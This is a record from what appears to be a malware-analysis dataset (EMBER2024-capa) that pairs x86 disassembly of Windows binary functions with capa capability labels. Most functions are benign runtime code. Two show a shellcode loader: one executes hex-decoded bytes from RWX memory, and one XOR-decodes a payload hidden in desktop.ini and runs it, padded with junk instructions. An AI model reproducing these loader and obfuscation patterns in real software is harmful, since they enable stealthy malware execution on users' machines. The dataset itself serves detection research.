joyce8/EMBER2024-capa huggingface dataset:
Function at 0x584b30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
lea eax, [esp - 0x688]
cmp eax, dword [ecx + 8]
jbe 0x584c47
sub esp, 0x708
lea edi, [esp + 0x14]
lea esi, [0x5d93b9]
call fcn.00452240
lea edi, [esp + 0x214]
lea esi, [0x5fba9c]
mov ecx, 0x13d
rep movsd dword es:[edi], dword [esi]
xor eax, eax
jmp 0x584b92
movzx edi, byte [esp + ebx + 0x14]
sub edi, edx
lea edx, [edi - 0x50]
mov byte [esp + ebp + 0x14], dl
lea edx, [esi - 0x50]
mov byte [esp + ebx + 0x14], dl
add eax, 2
cmp eax, 0x27a
jge 0x584bdf
jae 0x584c3c
movzx edx, word [esp + eax*2 + 0x214]
lea ebx, [eax + 1]
cmp ebx, 0x27a
jae 0x584c30
movzx ebx, word [esp + eax*2 + 0x216]
mov ebp, edx
xor edx, ebx
add edx, eax
movzx ebp, bp
cmp ebp, 0x200
jae 0x584c24
movzx ebx, bx
movzx esi, byte [esp + ebp + 0x14]
sub esi, edx
cmp ebx, 0x200
jb 0x584b7a
jmp 0x584c18
mov dword [esp], 0
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x200
call fcn.00441fd0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x70c], eax
mov dword [esp + 0x710], ecx
add esp, 0x708
ret
mov eax, ebx
mov ecx, 0x200
call fcn.004520a0
mov eax, ebp
mov ecx, 0x200
call fcn.004520a0
mov eax, ebx
mov ecx, 0x27a
call fcn.004520a0
mov ecx, 0x27a
call fcn.004520a0
nop
call fcn.00450c10
jmp fcn.00584b30

Function at 0x584c60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x584d61
sub esp, 0x2c
mov dword [esp + 0x14], 0xadb43196
mov dword [esp + 0x16], 0x7d1cadb4
mov dword [esp + 0x1a], 0x39a22baa
mov dword [esp + 0x1e], 0x30207
lea edi, [esp + 0x20]
lea esi, [0x5f98c6]
call fcn.00452722
xor eax, eax
jmp 0x584cc2
movzx edi, byte [esp + ebx + 0x14]
lea edx, [edi + edx + 0x7e]
mov byte [esp + ebp + 0x14], dl
xchg esi, eax
mov byte [esp + ebx + 0x14], al
xchg esi, eax
add eax, 2
cmp eax, 0xe
jge 0x584d02
jae 0x584d56
movzx edx, byte [esp + eax + 0x1e]
lea ebx, [eax + 1]
cmp ebx, 0xe
jae 0x584d4a
movzx ebx, byte [esp + eax + 0x1f]
mov ebp, edx
xor edx, ebx
add edx, eax
xchg ebp, eax
movzx eax, al
xchg ebp, eax
cmp ebp, 0xa
jae 0x584d3e
movzx ebx, bl
movzx esi, byte [esp + ebp + 0x14]
lea esi, [esi + edx + 0x7e]
cmp ebx, 0xa
jb 0x584cac
jmp 0x584d32
mov dword [esp], 0
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xa
call fcn.00441fd0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
add esp, 0x2c
ret
mov eax, ebx
mov ecx, 0xa
call fcn.004520a0
mov eax, ebp
mov ecx, 0xa
call fcn.004520a0
mov eax, ebx
mov ecx, 0xe
call fcn.004520a0
mov ecx, 0xe
call fcn.004520a0
nop
call fcn.00450c10
jmp fcn.00584c60
Function at 0x58c400
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x58c4f1
sub esp, 0x28
mov dword [esp + 0x14], 0x1f69972a
mov dword [esp + 0x18], 0x2279cee9
lea edi, [esp + 0x1c]
lea esi, [0x5f97bc]
call fcn.00452722
xor eax, eax
jmp 0x58c454
movzx edi, byte [esp + ebx + 0x14]
sub edi, edx
lea edx, [edi + 0x4d]
mov byte [esp + ebp + 0x14], dl
lea edx, [esi + 0x4d]
mov byte [esp + ebx + 0x14], dl
add eax, 2
cmp eax, 0xc
jge 0x58c492
jae 0x58c4e6
movzx edx, byte [esp + eax + 0x1c]
lea ebx, [eax + 1]
cmp ebx, 0xc
jae 0x58c4da
movzx ebx, byte [esp + eax + 0x1d]
mov ebp, edx
xor edx, ebx
add edx, eax
xchg ebp, eax
movzx eax, al
xchg ebp, eax
cmp ebp, 8
jae 0x58c4ce
movzx ebx, bl
movzx esi, byte [esp + ebp + 0x14]
sub esi, edx
cmp ebx, 8
jb 0x58c43c
jmp 0x58c4c2
mov dword [esp], 0
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00441fd0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ecx
add esp, 0x28
ret
mov eax, ebx
mov ecx, 8
call fcn.004520a0
mov eax, ebp
mov ecx, 8
call fcn.004520a0
mov eax, ebx
mov ecx, 0xc
call fcn.004520a0
mov ecx, 0xc
call fcn.004520a0
nop
call fcn.00450c10
jmp fcn.0058c400
Function at 0x596c60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x596d62
sub esp, 0x28
mov dword [esp + 0x1e], 0x74b605d0
mov dword [esp + 0x20], 0x1d6474b6
mov dword [esp + 0x24], 0xae64ce28
mov dword [esp + 0x14], 0x1050605
mov dword [esp + 0x16], 0x20105
mov dword [esp + 0x1a], 0x5090607
xor eax, eax
jmp 0x596cc3
movzx edi, byte [esp + ebx + 0x1e]
lea edx, [edi + edx - 0x61]
mov byte [esp + ebp + 0x1e], dl
xchg esi, eax
mov byte [esp + ebx + 0x1e], al
xchg esi, eax
add eax, 2
cmp eax, 0xa
jge 0x596d03
jae 0x596d57
movzx edx, byte [esp + eax + 0x14]
lea ebx, [eax + 1]
cmp ebx, 0xa
jae 0x596d4b
movzx ebx, byte [esp + eax + 0x15]
mov ebp, edx
xor edx, ebx
add edx, eax
xchg ebp, eax
movzx eax, al
xchg ebp, eax
cmp ebp, 0xa
jae 0x596d3f
movzx ebx, bl
movzx esi, byte [esp + ebp + 0x1e]
lea esi, [esi + edx - 0x61]
cmp ebx, 0xa
jb 0x596cad
jmp 0x596d33
mov dword [esp], 0
lea eax, [esp + 0x1e]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xa
call fcn.00441fd0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ecx
add esp, 0x28
ret
mov eax, ebx
mov ecx, 0xa
call fcn.004520a0
mov eax, ebp
mov ecx, 0xa
call fcn.004520a0
mov eax, ebx
mov ecx, 0xa
call fcn.004520a0
mov ecx, 0xa
call fcn.004520a0
nop
call fcn.00450c10
jmp fcn.00596c60

Function at 0x596d70
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x596e61
sub esp, 0x28
mov dword [esp + 0x14], 0x1f174e10
mov dword [esp + 0x18], 0x480d4109
lea edi, [esp + 0x1c]
lea esi, [0x5f97c8]
call fcn.00452722
xor eax, eax
jmp 0x596dc4
movzx edi, byte [esp + ebx + 0x14]
sub edi, edx
lea edx, [edi + 0x2e]
mov byte [esp + ebp + 0x14], dl
lea edx, [esi + 0x2e]
mov byte [esp + ebx + 0x14], dl
add eax, 2
cmp eax, 0xc
jge 0x596e02
jae 0x596e56
movzx edx, byte [esp + eax + 0x1c]
lea ebx, [eax + 1]
cmp ebx, 0xc
jae 0x596e4a
movzx ebx, byte [esp + eax + 0x1d]
mov ebp, edx
xor edx, ebx
add edx, eax
xchg ebp, eax
movzx eax, al
xchg ebp, eax
cmp ebp, 8
jae 0x596e3e
movzx ebx, bl
movzx esi, byte [esp + ebp + 0x14]
sub esi, edx
cmp ebx, 8
jb 0x596dac
jmp 0x596e32
mov dword [esp], 0
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00441fd0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ecx
add esp, 0x28
ret
mov eax, ebx
mov ecx, 8
call fcn.004520a0
mov eax, ebp
mov ecx, 8
call fcn.004520a0
mov eax, ebx
mov ecx, 0xc
call fcn.004520a0
mov ecx, 0xc
call fcn.004520a0
nop
call fcn.00450c10
jmp fcn.00596d70
Function at 0x597bf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x597ce9
sub esp, 0x2c
mov dword [esp + 0x17], 0x7c2bca5b
mov dword [esp + 0x18], 0x677c2bca
mov dword [esp + 0x1c], 0x23db38b4
lea edi, [esp + 0x20]
lea esi, [0x5f97d4]
call fcn.00452722
xor eax, eax
jmp 0x597c4a
movzx edi, byte [esp + ebx + 0x17]
lea edx, [edi + edx - 0x68]
mov byte [esp + ebp + 0x17], dl
xchg esi, eax
mov byte [esp + ebx + 0x17], al
xchg esi, eax
add eax, 2
cmp eax, 0xc
jge 0x597c8a
jae 0x597cde
movzx edx, byte [esp + eax + 0x20]
lea ebx, [eax + 1]
cmp ebx, 0xc
jae 0x597cd2
movzx ebx, byte [esp + eax + 0x21]
mov ebp, edx
xor edx, ebx
add edx, eax
xchg ebp, eax
movzx eax, al
xchg ebp, eax
cmp ebp, 9
jae 0x597cc6
movzx ebx, bl
movzx esi, byte [esp + ebp + 0x17]
lea esi, [esi + edx - 0x68]
cmp ebx, 9
jb 0x597c34
jmp 0x597cba
mov dword [esp], 0
lea eax, [esp + 0x17]
mov dword [esp + 4], eax
mov dword [esp + 8], 9
call fcn.00441fd0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
add esp, 0x2c
ret
mov eax, ebx
mov ecx, 9
call fcn.004520a0
mov eax, ebp
mov ecx, 9
call fcn.004520a0
mov eax, ebx
mov ecx, 0xc
call fcn.004520a0
mov ecx, 0xc
call fcn.004520a0
nop
call fcn.00450c10
jmp fcn.00597bf0
Function at 0x59c730
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword fs:[0x14]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x59c829
sub esp, 0x30
mov dword [esp + 0x15], 0x249d532d
mov dword [esp + 0x18], 0xe0082324
mov dword [esp + 0x1c], 0x45242946
lea edi, [esp + 0x20]
lea esi, [0x5f99a0]
call fcn.00452718
xor eax, eax
jmp 0x59c78a
movzx edi, byte [esp + ebx + 0x15]
lea edx, [edi + edx + 0x16]
mov byte [esp + ebp + 0x15], dl
xchg esi, eax
mov byte [esp + ebx + 0x15], al
xchg esi, eax
add eax, 2
cmp eax, 0x10
jge 0x59c7ca
jae 0x59c81e
movzx edx, byte [esp + eax + 0x20]
lea ebx, [eax + 1]
cmp ebx, 0x10
jae 0x59c812
movzx ebx, byte [esp + eax + 0x21]
mov ebp, edx
xor edx, ebx
add edx, eax
xchg ebp, eax
movzx eax, al
xchg ebp, eax
cmp ebp, 0xb
jae 0x59c806
movzx ebx, bl
movzx esi, byte [esp + ebp + 0x15]
lea esi, [esi + edx + 0x16]
cmp ebx, 0xb
jb 0x59c774
jmp 0x59c7fa
mov dword [esp], 0
lea eax, [esp + 0x15]
mov dword [esp + 4], eax
mov dword [esp + 8], 0xb
call fcn.00441fd0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
add esp, 0x30
ret
mov eax, ebx
mov ecx, 0xb
call fcn.004520a0
mov eax, ebp
mov ecx, 0xb
call fcn.004520a0
mov eax, ebx
mov ecx, 0x10
call fcn.004520a0
mov ecx, 0x10
call fcn.004520a0
nop
call fcn.00450c10
jmp fcn.0059c730
Function at 0x401517
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
mov ecx, dword [ebp + 8]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40160a
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x10]
jae 0x4015cf
lea eax, [ebp - 0x30]
mov dword [esp + 8], 2
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov edx, dword [ebp + 8]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_int__unsigned_int__const
sub esp, 0xc
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x30]
mov dword [esp], eax
call method.std::__cxx11.stoul_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_int__int_
mov byte [ebp - 0x15], al
mov eax, dword [ebp - 0xc]
shr eax, 1
mov edx, eax
mov eax, dword [ebp - 0x14]
add edx, eax
movzx eax, byte [ebp - 0x15]
mov byte [edx], al
lea eax, [ebp - 0x30]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [ebp - 0xc], 2
jmp 0x401565
mov eax, dword [ebp - 0x14]
call eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
jmp 0x40160b
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x40c860
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x4fb050
call sym._EnterCriticalSection_4
mov ebx, dword [0x4fb048]
sub esp, 4
test ebx, ebx
je 0x40c8ab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x40c8a4
test esi, esi
je 0x40c8a4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40c880
mov dword [esp], 0x4fb050
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x40ca90
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
lea esi, [esp + 0x24]
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_runtime_failure:_n
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40cae0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, edx
push esi
mov esi, ecx
push ebx
mov ebx, eax
sub esp, 0x3c
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x40cbb4
mov eax, dword [esp + 0x28]
cmp eax, 0x40
je 0x40cb1e
cmp eax, 4
jne 0x40cb40
test esi, esi
je 0x40cb32
xor eax, eax
movzx ecx, byte [edi + eax]
mov byte [ebx + eax], cl
add eax, 1
cmp eax, esi
jb 0x40cb24
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x20]
lea ebp, [esp + 0x10]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov ecx, dword [esp + 0x28]
test esi, esi
je 0x40cb7f
xor edx, edx
movzx eax, byte [edi + edx]
mov byte [ebx + edx], al
add edx, 1
cmp edx, esi
jb 0x40cb71
cmp ecx, 0x40
je 0x40cb32
cmp ecx, 4
je 0x40cb32
mov eax, dword [esp + 0x10]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.0040ca90
lea esi, [esi]
Function at 0x416440
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x3c
mov dword [esp + 4], 0
mov dword [esp], 2
call sym._setlocale
test eax, eax
je 0x416514
mov dword [esp], eax
mov esi, eax
mov ebx, esp
call sym._strlen
lea edx, [eax + 1]
add eax, 0x10
shr eax, 4
shl eax, 4
call fcn.00418390
sub esp, eax
lea eax, [esp + 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], esi
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 4], 0x4b7904
mov dword [esp], 2
mov esi, eax
call sym._setlocale
mov dword [esp], esi
mov dword [esp + 4], eax
call sym._strcmp
test eax, eax
je 0x416520
mov dword [esp + 4], esi
mov dword [esp], 2
call sym._setlocale
mov eax, esi
mov dword [esp + 4], 0x2e
mov dword [esp], eax
call sym._strchr
test eax, eax
je 0x416510
add eax, 1
mov dword [esp], eax
call sym._atoi
mov edi, eax
lea eax, [ebp - 0x2c]
mov dword [esp + 4], eax
mov dword [esp], edi
call sym._GetCPInfo_8
sub esp, 8
test eax, eax
je 0x416510
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x416560
xor edi, edi
mov esp, ebx
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.LC_ALL
call sym._getenv
test eax, eax
jne 0x4164d2
mov dword [esp], str.LC_CTYPE
call sym._getenv
test eax, eax
jne 0x4164d2
mov dword [esp], str.LANG
call sym._getenv
test eax, eax
jne 0x4164d2
mov eax, esi
jmp 0x4164d2
mov esp, ebx
jmp 0x416514

Function at 0x418710
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
call sym._GetLastError_0
mov esi, eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov ebx, eax
mov dword [esp], esi
call sym._SetLastError_4
mov eax, ebx
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x418740
Capabilities:
Set thread local storage value

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
je 0x418768
xor eax, eax
add esp, 0x1c
ret
add esp, 0x1c
jmp sym._GetLastError_0
Function at 0x41c950
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0x1c
mov dword [0x4fba64], 0xffffffff
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xffff
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateSemaphoreW_16
sub esp, 0x10
mov dword [0x4fba68], eax
call sym._TlsAlloc_0
cmp eax, 0xffffffff
je 0x41c9b8
mov dword [esp + 4], dbg.emutls_destroy
mov dword [esp], eax
mov dword [0x4fba60], eax
call sym.___mingwthr_key_dtor
test eax, eax
jne sym._emutls_init.cold
add esp, 0x1c
ret
call sym._GetLastError_0
jmp 0x41c9a8
Function at 0x41c9c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebp, dword [0x4fb034]
mov esi, dword [esp + 0x40]
test ebp, ebp
jne 0x41c9e8
mov eax, dword [esi + 8]
test eax, eax
je 0x41ca40
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [esi + 8]
test edi, edi
je 0x41ca50
mov ebx, dword [0x4fba60]
call sym._GetLastError_0
mov dword [esp], ebx
mov ebp, eax
call sym._TlsGetValue_4
sub esp, 4
mov ebx, eax
mov dword [esp], ebp
call sym._SetLastError_4
sub esp, 4
test ebx, ebx
je 0x41cae0
mov ebp, dword [ebx]
cmp ebp, edi
jb 0x41cb30
lea ebx, [ebx + edi*4]
mov eax, dword [ebx]
test eax, eax
jne 0x41c9dc
mov eax, esi
call sym._emutls_alloc
mov dword [ebx], eax
jmp 0x41c9dc
mov eax, esi
call sym._emutls_alloc
mov dword [esi + 8], eax
jmp 0x41c9dc
mov edi, dword [0x4fb034]
test edi, edi
je 0x41cbb8
mov ebx, dword [0x4b00a8]
test ebx, ebx
je 0x41cb88
mov dword [esp], 0x4fba64
call sym._InterlockedIncrement_4
sub esp, 4
test eax, eax
jne 0x41cbfb
mov edi, dword [esi + 8]
test edi, edi
je 0x41cbc3
mov eax, dword [0x4fb034]
test eax, eax
je 0x41c9ef
mov dword [esp], 0x4fba64
call sym._InterlockedDecrement_4
sub esp, 4
test eax, eax
js 0x41c9ef
mov eax, dword [0x4fba68]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._ReleaseSemaphore_12
sub esp, 0xc
jmp 0x41c9ef
lea eax, [edi + 0x21]
mov dword [esp + 4], 4
lea ebp, [edi + 0x20]
mov dword [esp], eax
call sym._calloc
mov ebx, eax
test eax, eax
je sym.___emutls_get_address.cold
mov dword [eax], ebp
mov eax, dword [0x4fba60]
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._TlsSetValue_8
sub esp, 8
test eax, eax
jne 0x41ca26
call sym._GetLastError_0
jmp 0x41ca26
lea edx, [ebp + ebp]
cmp edi, edx
jbe 0x41cb3b
lea edx, [edi + 0x20]
lea eax, [edx*4 + 4]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 0x1c], edx
call sym.___mingw_realloc
mov ebx, eax
test eax, eax
je sym.___emutls_get_address.cold
mov edx, dword [esp + 0x1c]
mov dword [eax], edx
sub edx, ebp
lea eax, [eax + ebp*4 + 4]
shl edx, 2
mov dword [esp + 4], 0
mov dword [esp + 8], edx
mov dword [esp], eax
call sym._memset
jmp 0x41cb02
mov dword [esp], 0x4b00ac
call sym._InterlockedIncrement_4
sub esp, 4
test eax, eax
jne 0x41cbef
call sym._emutls_init
mov dword [0x4b00a8], 1
mov edx, dword [0x4fb034]
test edx, edx
jne 0x41ca6c
mov edi, dword [esi + 8]
test edi, edi
jne 0x41c9ef
mov eax, dword [0x4fba5c]
lea edi, [eax + 1]
mov dword [0x4fba5c], edi
mov dword [esi + 8], edi
jmp 0x41ca8e
mov dword [esp], 0
call sym._Sleep_4
sub esp, 4
mov ecx, dword [0x4b00a8]
test ecx, ecx
je 0x41cbe0
jmp 0x41cbaa
mov eax, dword [0x4fba68]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
test eax, eax
je 0x41ca83
mov dword [esp], 0x4fba64
call sym._InterlockedDecrement_4
sub esp, 4
jmp 0x41ca83
Function at 0x41fbe0
Capabilities:
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp byte [0x4b1b1c], 0
jne method.__gnu_cxx.__verbose_terminate_handler____clone_.cold_
mov byte [0x4b1b1c], 1
call sym.___cxa_current_exception_type
test eax, eax
je 0x4a83ea
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call sym.___cxa_demangle
mov edi, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x30
mov dword [esp + 4], 1
mov esi, eax
lea ebp, [edi + 0x40]
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
mov dword [esp + 0xc], ebp
call sym._fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp + 4], ebp
test edx, edx
jne 0x41fcb8
mov dword [esp], esi
call sym._fputs
lea eax, [edi + 0x40]
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x4b5151
call sym._fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x4a83e5
mov dword [esp], esi
call sym.___mingw_aligned_free
jmp 0x4a83e5
mov dword [esp], ebx
call sym._fputs
jmp 0x41fc7c
Function at 0x404cb4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4082b4]
jne 0x404cbe
repz ret
jmp fcn.0040516b

Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10